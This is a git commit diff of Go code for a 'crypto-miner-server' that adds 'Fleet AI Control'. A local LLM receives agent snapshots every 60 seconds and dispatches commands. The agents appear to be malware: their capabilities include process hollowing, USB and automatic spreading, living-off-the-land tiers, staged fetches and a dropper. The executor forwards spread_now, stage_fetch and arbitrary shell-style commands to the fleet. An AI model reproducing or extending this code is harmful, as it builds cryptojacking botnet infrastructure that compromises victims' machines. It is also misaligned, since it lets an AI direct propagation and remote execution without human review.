Add Calibrate AI Control UI and fleet LLM backend wiring.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Operators toggle Logic gates vs AI Control on Settings, refresh local Ollama models, and save ai_endpoint settings via Calibrate PUT; server scheduler and agent snapshot/command paths support stateless 60s fleet decisions.
This commit is contained in:
AetherForge
2026-06-07 02:14:28 -07:00
parent 34afa28f81
commit 0002e5fd93
33 changed files with 2791 additions and 12 deletions

View File

@@ -0,0 +1,344 @@
package api
import (
"encoding/json"
"fmt"
"strings"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/strategy"
)
// FleetAIConfigView is the Calibrate subset for Fleet AI Control.
type FleetAIConfigView struct {
AIControlEnabled bool `json:"ai_control_enabled"`
AIEndpoint string `json:"ai_endpoint"`
AIModel string `json:"ai_model"`
AINoContext bool `json:"ai_no_context"`
AIDecisionIntervalSec int `json:"ai_decision_interval_sec"`
}
// FleetAIConfigSource reads/writes Fleet AI settings from server config.
type FleetAIConfigSource interface {
GetFleetAIConfig() FleetAIConfigView
UpdateFleetAIConfig(FleetAIConfigView) error
}
// FleetAISnapshot builds agent snapshots from DB + WS hub state.
func (h *WSHub) FleetAISnapshot(agentID string) (fleetai.AgentSnapshot, bool) {
if h == nil || h.db == nil || agentID == "" {
return fleetai.AgentSnapshot{}, false
}
agent, err := h.db.GetAgent(agentID)
if err != nil || agent == nil {
return fleetai.AgentSnapshot{}, false
}
snap := fleetai.AgentSnapshot{
AgentID: agentID,
Name: agent.Name,
Worker: agent.WorkerName,
Platform: agent.Platform,
Version: agent.Version,
BuildID: agent.BuildID,
GOOS: agent.Platform,
MiningHashrate: agent.MiningHashrate,
LOTLTier: agent.LOTLTier,
JoinLane: agent.JoinLane,
ChainExhausted: agent.ChainExhausted,
ChainOrder: append([]string(nil), agent.ChainOrder...),
ActiveMethod: agent.ActiveMethod,
VulnRisk: agent.VulnRiskScore,
}
for _, a := range agent.LOTLAttempts {
snap.LOTLAttempts = append(snap.LOTLAttempts, fleetai.TierAttempt{
Tier: a.Tier, OK: a.OK, Error: a.Error, DurationMs: a.DurationMs,
})
}
h.mu.RLock()
if caps, ok := h.agentCapabilities[agentID]; ok {
snap.Capabilities = capabilityFlags(caps)
}
if tel, ok := h.agentLiveTelemetry[agentID]; ok {
mergeTelemetryIntoSnapshot(&snap, tel)
}
engine := h.adaptiveEngine
aiMode := h.serverPolicy.AIControlEnabled
h.mu.RUnlock()
snap.SpreadState = describeSpreadState(agent, snap.Capabilities)
if engine != nil && !aiMode {
fp := strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain)
adaptive := engine.StrategyForAgent(agentID, fp)
snap.Adaptive = &adaptive
if len(adaptive.Reasoning) > 0 {
snap.AdaptiveSummary = adaptive.Reasoning[0].Action
}
}
return snap, true
}
func capabilityFlags(caps models.AgentCapabilities) map[string]bool {
return map[string]bool{
"hole_punch": caps.HolePunch,
"remote_aggressive": caps.RemoteAggressive,
"auto_spread": caps.AutoSpread,
"mesh_p2p": caps.MeshP2P,
"process_hollowing": caps.ProcessHollowing,
"ai_enabled": caps.AIEnabled,
"usb_spread": caps.USBSpread,
}
}
func describeSpreadState(agent *models.Agent, caps map[string]bool) string {
parts := []string{}
if agent.USBSpread || (caps != nil && caps["usb_spread"]) {
parts = append(parts, "usb")
}
if caps != nil && caps["auto_spread"] {
parts = append(parts, "auto_spread")
}
if agent.JoinLane != "" {
parts = append(parts, "lane:"+agent.JoinLane)
}
if agent.Campaign != "" {
parts = append(parts, "campaign:"+agent.Campaign)
}
if len(parts) == 0 {
return "idle"
}
return strings.Join(parts, ", ")
}
func mergeTelemetryIntoSnapshot(snap *fleetai.AgentSnapshot, tel map[string]interface{}) {
if v, ok := tel["mining_hashrate"].(float64); ok && v > 0 {
snap.MiningHashrate = v
}
if v, ok := tel["lotl_tier"].(string); ok && v != "" {
snap.LOTLTier = v
}
if v, ok := tel["join_lane"].(string); ok && v != "" {
snap.JoinLane = v
}
if v, ok := tel["chain_exhausted"].(bool); ok {
snap.ChainExhausted = v
}
if v, ok := tel["active_method"].(string); ok && v != "" {
snap.ActiveMethod = v
}
if raw, ok := tel["lotl_attempts"]; ok {
if b, err := json.Marshal(raw); err == nil {
var attempts []fleetai.TierAttempt
if json.Unmarshal(b, &attempts) == nil && len(attempts) > 0 {
snap.LOTLAttempts = attempts
}
}
}
if raw, ok := tel["chain_order"]; ok {
if b, err := json.Marshal(raw); err == nil {
var order []string
if json.Unmarshal(b, &order) == nil {
snap.ChainOrder = order
}
}
}
if v, ok := tel["vuln_risk_score"].(float64); ok {
n := int(v)
snap.VulnRisk = &n
}
}
// FleetAIExecutor dispatches parsed LLM commands via existing WS command paths.
type FleetAIExecutor struct {
Hub *WSHub
}
func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string, error) {
if e == nil || e.Hub == nil {
return "", fmt.Errorf("hub unavailable")
}
args := cmd.Args
if args == nil {
args = map[string]interface{}{}
}
switch cmd.Type {
case fleetai.CmdNoop:
return "noop", nil
case fleetai.CmdRestartMining:
if err := e.Hub.SendAgentCommand(agentID, "restart", nil); err != nil {
return "", err
}
return "restart", nil
case fleetai.CmdDiscoverAndJoin:
if err := e.Hub.SendAgentCommand(agentID, "discover_and_join", args); err != nil {
return "", err
}
return "discover_and_join", nil
case fleetai.CmdSpreadNow:
if err := e.Hub.SendAgentCommand(agentID, "spread_now", args); err != nil {
return "", err
}
return "spread_now", nil
case fleetai.CmdStageFetch:
if err := e.Hub.SendAgentCommand(agentID, "stage_fetch", args); err != nil {
return "", err
}
return "stage_fetch", nil
case fleetai.CmdSetAgentVersion:
module, _ := args["module"].(string)
if module == "" {
module, _ = args["build_id"].(string)
}
if module == "" {
return "", fmt.Errorf("set_agent_version requires module or build_id")
}
if err := e.Hub.SendAgentCommand(agentID, "fetch_module", map[string]interface{}{"module": module}); err != nil {
return "", err
}
return "fetch_module:" + module, nil
case fleetai.CmdReorderTiers:
return e.pushReorderTiers(agentID, args)
case fleetai.CmdBulkCommand:
return e.runBulkCommand(args)
case fleetai.CmdAgentCommand:
action, _ := args["action"].(string)
if action == "" {
return "", fmt.Errorf("agent_command requires action")
}
sendArgs := map[string]interface{}{}
for _, k := range []string{"command", "path", "data", "tail_lines"} {
if v, ok := args[k]; ok {
sendArgs[k] = v
}
}
if err := e.Hub.SendAgentCommand(agentID, action, sendArgs); err != nil {
return "", err
}
return action, nil
default:
if err := e.Hub.SendAgentCommand(agentID, cmd.Type, args); err != nil {
return "", err
}
return cmd.Type, nil
}
}
func (e *FleetAIExecutor) pushReorderTiers(agentID string, args map[string]interface{}) (string, error) {
payload := map[string]interface{}{}
if raw, ok := args["tier_order"]; ok {
payload["tier_order"] = raw
}
if raw, ok := args["skip_tiers"]; ok {
payload["skip_tiers"] = raw
}
if len(payload) == 0 {
return "", fmt.Errorf("reorder_tiers requires tier_order")
}
body, _ := json.Marshal(payload)
if err := e.Hub.SendToAgent(agentID, Message{Type: "adaptive_strategy_update", Payload: body}); err != nil {
return "", err
}
return "reorder_tiers", nil
}
func (e *FleetAIExecutor) runBulkCommand(args map[string]interface{}) (string, error) {
action, _ := args["action"].(string)
if action == "" {
return "", fmt.Errorf("bulk_command requires action")
}
ids := e.Hub.ResolveAgentTargets(parseAgentIDs(args["agent_ids"]))
if len(ids) == 0 {
return "", fmt.Errorf("bulk_command: no agent_ids")
}
sendArgs := map[string]interface{}{}
if v, ok := args["command"]; ok {
sendArgs["command"] = v
}
sent := 0
for _, id := range ids {
if err := e.Hub.SendAgentCommand(id, action, sendArgs); err == nil {
sent++
}
}
return fmt.Sprintf("bulk:%d/%d", sent, len(ids)), nil
}
func parseAgentIDs(raw interface{}) []string {
switch v := raw.(type) {
case []interface{}:
out := make([]string, 0, len(v))
for _, item := range v {
if s, ok := item.(string); ok && strings.TrimSpace(s) != "" {
out = append(out, strings.TrimSpace(s))
}
}
return out
case []string:
return v
case string:
if strings.TrimSpace(v) == "" {
return nil
}
return strings.Split(v, ",")
default:
return nil
}
}
// WSHubSnapshotAdapter implements fleetai.SnapshotProvider.
type WSHubSnapshotAdapter struct{ Hub *WSHub }
func (a *WSHubSnapshotAdapter) ConnectedAgentIDs() []string {
if a == nil || a.Hub == nil {
return nil
}
return a.Hub.ConnectedAgentIDs()
}
func (a *WSHubSnapshotAdapter) AgentSnapshot(agentID string) (fleetai.AgentSnapshot, bool) {
if a == nil || a.Hub == nil {
return fleetai.AgentSnapshot{}, false
}
return a.Hub.FleetAISnapshot(agentID)
}
// ConfigAIAdapter wraps FleetAIConfigSource for the scheduler.
type ConfigAIAdapter struct{ Src FleetAIConfigSource }
func (a *ConfigAIAdapter) AIConfig() fleetai.Config {
if a == nil || a.Src == nil {
return fleetai.Config{}
}
v := a.Src.GetFleetAIConfig()
interval := v.AIDecisionIntervalSec
if interval <= 0 {
interval = 60
}
endpoint := strings.TrimSpace(v.AIEndpoint)
if endpoint == "" {
endpoint = "http://127.0.0.1:11434/v1"
}
return fleetai.Config{
Enabled: v.AIControlEnabled,
Endpoint: endpoint,
Model: strings.TrimSpace(v.AIModel),
NoContext: v.AINoContext,
IntervalSec: interval,
}
}
// DatabaseAIDecisionStore wraps db for InsertAIDecision.
type DatabaseAIDecisionStore struct {
DB interface {
InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error
}
}
func (s *DatabaseAIDecisionStore) InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error {
if s == nil || s.DB == nil {
return nil
}
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted)
}

View File

@@ -0,0 +1,90 @@
package api
import (
"encoding/json"
"net/http"
"strconv"
"strings"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/db"
)
// FleetAIHandler serves Fleet AI Control API routes.
type FleetAIHandler struct {
config FleetAIConfigSource
db interface {
ListAIDecisions(agentID string, limit int) ([]db.AIDecisionRecord, error)
}
}
func NewFleetAIHandler(cfg FleetAIConfigSource, database interface {
ListAIDecisions(agentID string, limit int) ([]db.AIDecisionRecord, error)
}) *FleetAIHandler {
return &FleetAIHandler{config: cfg, db: database}
}
func (h *FleetAIHandler) GetConfig(w http.ResponseWriter, r *http.Request) {
if h.config == nil {
http.Error(w, "config unavailable", http.StatusServiceUnavailable)
return
}
writeJSON(w, h.config.GetFleetAIConfig())
}
func (h *FleetAIHandler) PutConfig(w http.ResponseWriter, r *http.Request) {
if h.config == nil {
http.Error(w, "config unavailable", http.StatusServiceUnavailable)
return
}
var body FleetAIConfigView
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
if body.AIDecisionIntervalSec < 0 {
http.Error(w, "ai_decision_interval_sec must be ≥ 0", http.StatusBadRequest)
return
}
if err := h.config.UpdateFleetAIConfig(body); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, h.config.GetFleetAIConfig())
}
func (h *FleetAIHandler) GetModels(w http.ResponseWriter, r *http.Request) {
endpoint := strings.TrimSpace(r.URL.Query().Get("endpoint"))
if endpoint == "" && h.config != nil {
endpoint = h.config.GetFleetAIConfig().AIEndpoint
}
models, err := fleetai.ListModels(r.Context(), endpoint)
if err != nil {
http.Error(w, err.Error(), http.StatusBadGateway)
return
}
writeJSON(w, map[string]interface{}{"models": models, "endpoint": endpoint})
}
func (h *FleetAIHandler) GetDecisions(w http.ResponseWriter, r *http.Request) {
if h.db == nil {
writeJSON(w, []db.AIDecisionRecord{})
return
}
agentID := strings.TrimSpace(r.URL.Query().Get("agent_id"))
limit := 50
if raw := r.URL.Query().Get("limit"); raw != "" {
if n, err := strconv.Atoi(raw); err == nil && n > 0 {
limit = n
}
}
rows, err := h.db.ListAIDecisions(agentID, limit)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if rows == nil {
rows = []db.AIDecisionRecord{}
}
writeJSON(w, rows)
}

View File

@@ -39,6 +39,18 @@ func (m *mockConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error {
return nil
}
func (m *mockConfigProvider) GetFleetAIConfig() FleetAIConfigView {
return FleetAIConfigView{
AIEndpoint: "http://127.0.0.1:11434/v1",
AINoContext: true,
AIDecisionIntervalSec: 60,
}
}
func (m *mockConfigProvider) UpdateFleetAIConfig(v FleetAIConfigView) error {
return nil
}
const testAuthUser = "testuser"
const testAuthPass = "testpass"
const testFleetSecret = "test-fleet-secret-integration"
@@ -80,7 +92,8 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
dropperHandler := NewDropperHandler(database, dataDir, nil)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
fleetAIHandler := NewFleetAIHandler(cfg, database)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
}
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
@@ -156,7 +169,8 @@ func newFusionTestRouter(t *testing.T, projectRoot string) (http.Handler, *WSHub
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
dropperHandler := NewDropperHandler(database, dataDir, nil)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
fleetAIHandler := NewFleetAIHandler(cfg, database)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
}
func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) {

View File

@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
dlURL := "/api/v1/builds/" + buildID + "/download"
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder()

View File

@@ -13,6 +13,8 @@ type ServerPolicy struct {
ServiceDeployAllowlist map[string]ServiceDeployLane
MiningTierPolicy MiningTierPolicy
TripleOnionPolicy TripleOnionPolicy
// AIControlEnabled replaces adaptive_strategy when true (Fleet AI Control).
AIControlEnabled bool
}
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.

View File

@@ -155,6 +155,7 @@ type WSHub struct {
agentDNS map[string][]string
// Latest service_discover payloads keyed by agent ID (Crucible service graph).
agentServiceDiscover map[string]cachedServiceDiscover
agentLiveTelemetry map[string]map[string]interface{}
serverPolicy ServerPolicy
adaptiveEngine *strategy.AdaptiveEngine
pingIntervalSec int
@@ -198,6 +199,7 @@ func NewWSHub(database *db.Database) *WSHub {
agentLogs: make(map[string]string),
agentDNS: make(map[string][]string),
agentServiceDiscover: make(map[string]cachedServiceDiscover),
agentLiveTelemetry: make(map[string]map[string]interface{}),
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
beaconLastSeen: make(map[string]time.Time),
beaconCmdQueue: make(map[string][]BeaconCommand),
@@ -280,7 +282,7 @@ func (h *WSHub) runAdaptiveStrategyLoop() {
h.mu.RLock()
engine := h.adaptiveEngine
h.mu.RUnlock()
if engine == nil || !engine.Enabled() {
if engine == nil || !engine.Enabled() || h.serverPolicy.AIControlEnabled {
continue
}
if _, err := engine.RecomputeAll(); err != nil {
@@ -877,7 +879,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
}
resp["triple_onion_policy"] = top
if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() {
if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() && !policy.AIControlEnabled {
domainJoined := false
if prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain {
domainJoined = true
@@ -1542,6 +1544,27 @@ func mergeStatsPayload(existing, incoming json.RawMessage) json.RawMessage {
return mustMarshal(base)
}
// queueStatsBroadcast accumulates per-agent stats and flushes one stats_batch
// message per interval instead of N individual stats_update frames.
func (h *WSHub) cacheAgentTelemetry(agentID string, payload map[string]interface{}) {
if agentID == "" || len(payload) == 0 {
return
}
h.mu.Lock()
defer h.mu.Unlock()
cur, ok := h.agentLiveTelemetry[agentID]
if !ok {
cur = make(map[string]interface{})
h.agentLiveTelemetry[agentID] = cur
}
for k, v := range payload {
if k == "agent_id" {
continue
}
cur[k] = v
}
}
// queueStatsBroadcast accumulates per-agent stats and flushes one stats_batch
// message per interval instead of N individual stats_update frames.
func (h *WSHub) queueStatsBroadcast(payload map[string]interface{}) {
@@ -1559,6 +1582,7 @@ func (h *WSHub) queueStatsBroadcast(payload map[string]interface{}) {
data = mergeStatsPayload(prev, data)
}
h.statsBatch[agentID] = data
h.cacheAgentTelemetry(agentID, payload)
if h.statsBatchTimer == nil {
h.statsBatchTimer = time.AfterFunc(statsBatchInterval, h.flushStatsBatch)
}
@@ -1676,6 +1700,7 @@ func (h *WSHub) RemoveAgent(agentID string) {
delete(h.agentConfigs, agentID)
delete(h.agentLogs, agentID)
delete(h.agentCapabilities, agentID)
delete(h.agentLiveTelemetry, agentID)
ac.Conn.Close()
}
h.mu.Unlock()
@@ -1729,7 +1754,7 @@ func (h *WSHub) PushAdaptiveStrategyUpdates() int {
engine := h.adaptiveEngine
ids := h.ConnectedAgentIDs()
h.mu.RUnlock()
if engine == nil || !engine.Enabled() {
if engine == nil || !engine.Enabled() || h.serverPolicy.AIControlEnabled {
return 0
}
sent := 0
@@ -1754,7 +1779,7 @@ func (h *WSHub) PushAdaptiveStrategyUpdates() int {
}
func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]interface{}) {
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() {
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() || h.serverPolicy.AIControlEnabled {
return
}
platform, _ := payload["platform"].(string)
@@ -1785,7 +1810,7 @@ func (h *WSHub) ingestStrategyFromStats(
miningHashrate float64,
activeTier string,
) {
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() {
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() || h.serverPolicy.AIControlEnabled {
return
}
if platform == "" || ip == "" {